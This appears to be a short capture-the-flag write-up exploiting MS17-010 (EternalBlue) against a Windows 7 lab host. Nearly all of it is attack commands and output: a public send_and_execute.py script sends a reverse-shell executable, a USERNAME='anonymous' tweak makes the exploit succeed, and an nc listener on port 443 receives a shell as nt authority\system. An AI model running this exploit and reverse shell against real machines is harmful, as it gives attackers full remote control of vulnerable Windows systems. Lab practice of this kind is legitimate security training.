3 ms17-010

Using https://github.com/helviojunior/MS17-010/blob/master/send_and_execute.py

$ python send_and_execute.py 10.10.10.40 rev_10.10.14.2_443.exe                                                                                                                                                           1 ⨯
Trying to connect to 10.10.10.40:445
Target OS: Windows 7 Professional 7601 Service Pack 1
Not found accessible named pipe
Done

# updated in file:
USERNAME = 'anonymous'

$ python send_and_execute.py 10.10.10.40 rev_10.10.14.2_443.exe
Trying to connect to 10.10.10.40:445
Target OS: Windows 7 Professional 7601 Service Pack 1
Using named pipe: browser
Target is 64 bit
Got frag size: 0x10
GROOM_POOL_SIZE: 0x5030
BRIDE_TRANS_SIZE: 0xfa0
CONNECTION: 0xfffffa8004645020
SESSION: 0xfffff8a00178cde0
FLINK: 0xfffff8a001972088
InParam: 0xfffff8a00196c15c
MID: 0x1c03
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
Sending file 623QPH.exe...
Opening SVCManager on 10.10.10.40.....
Creating service OKzS.....
Starting service OKzS.....
The NETBIOS connection with the remote host timed out.
Removing service OKzS.....
ServiceExec Error on: 10.10.10.40
nca_s_proto_error
Done

$ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.40] 49158
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

whoami
nt authority\system